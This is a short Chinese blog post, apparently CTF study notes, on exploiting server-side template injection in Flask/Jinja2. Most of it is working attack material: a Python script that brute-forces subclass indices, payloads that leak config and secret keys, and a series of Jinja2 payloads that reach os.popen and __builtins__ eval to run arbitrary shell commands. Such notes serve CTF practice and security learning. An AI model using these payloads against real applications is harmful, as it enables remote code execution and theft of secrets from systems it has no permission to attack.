ssti flask入门小总结

发布于 2021-03-12  31 次阅读


import requests
import re
import html
import time

for i in range(0,400):
    time.sleep(0.06)
    url='http://ip/?flag='
    payload="{{[].__class__.__base__.__subclasses__()[%s]}}"%i
    r = requests.get(url+payload)
    if "os._wrap_close" in r.text:
        print(r.text)
        print(i)
        break

先在这里附上查类时候的py代码,便于直接找到想要找的类

然后,进入正题:https://www.cnblogs.com/20175211lyz/p/11425368.html

1.首先,进入题目环境,看注入点,{{2*7}}的方法来看回显是14的话,就说明可以直接利用了

2.如果题目中有涉及到secret_key,config或者cookie之类的环境配置,就可以直接在中间{{config}},{{config.items()}},{{config['FLAG']}},{{config.FLAG}}之类的就好了

3.其他情况一般就要在类,对象中一点一点去找可以利用的函数

#利用os._wrap_close类里的popen
{{[].__class__.__base__.__subclasses__()[变量].__init__.__globals__['os']('linux命令执行').read()}}
#利用linecache类里的os
{{"".__class__.__bases__[变量].__subclasses__()[变量].__init__.__globals__['os'].popen('linux命令执行').read()}}
#利用__import__类里的os
{{"".__class__.__bases__[变量].__subclasses__()[变量].__init__.__globals__['__import__']('os').popen('命令执行').read()}}
#以及__builtins__下的多个函数 在(warnings.catch_warnings)类下
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('命令执行').read()")}}

{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('命令执行').read()")}}

{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('命令执行').read()}}

{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('命令执行').read()}}

以上都是python3中的方法,当然还有其他很多方法,就不多写了。

还有一些关键词绕过

http://blog.leanote.com/post/bowu/de8babf67fd8

这有很多


间桐桜のお菓子屋さん